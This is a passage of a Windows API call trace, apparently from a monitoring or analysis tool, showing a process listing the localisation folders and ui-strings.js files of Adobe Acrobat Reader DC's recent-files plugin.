ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.491] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0258.491] GetProcessHeap () returned 0xc10000 [0258.491] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.491] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0258.491] GetProcessHeap () returned 0xc10000 [0258.491] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.491] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.492] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.492] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.493] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.493] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.493] GetProcessHeap () returned 0xc10000 [0258.493] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.493] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0258.493] GetProcessHeap () returned 0xc10000 [0258.493] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.493] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.493] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.494] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.494] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.494] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.494] GetProcessHeap () returned 0xc10000 [0258.494] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.494] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0258.494] GetProcessHeap () returned 0xc10000 [0258.494] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.495] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.495] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.495] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.495] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.496] GetProcessHeap () returned 0xc10000 [0258.496] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.496] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0258.496] GetProcessHeap () returned 0xc10000 [0258.496] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.497] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.497] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.497] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.497] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.497] GetProcessHeap () returned 0xc10000 [0258.497] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.498] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0258.498] GetProcessHeap () returned 0xc10000 [0258.498] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.498] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.498] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.498] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.498] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.499] GetProcessHeap () returned 0xc10000 [0258.499] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.499] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0258.499] GetProcessHeap () returned 0xc10000 [0258.499] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.499] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.499] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.499] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.499] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.499] GetProcessHeap () returned 0xc10000 [0258.500] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.500] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0258.500] GetProcessHeap () returned 0xc10000 [0258.500] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.500] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.500] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x407, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.500] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x407, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.500] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.500] GetProcessHeap () returned 0xc10000 [0258.500] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.501] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0258.501] GetProcessHeap () returned 0xc10000 [0258.501] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.501] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.501] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 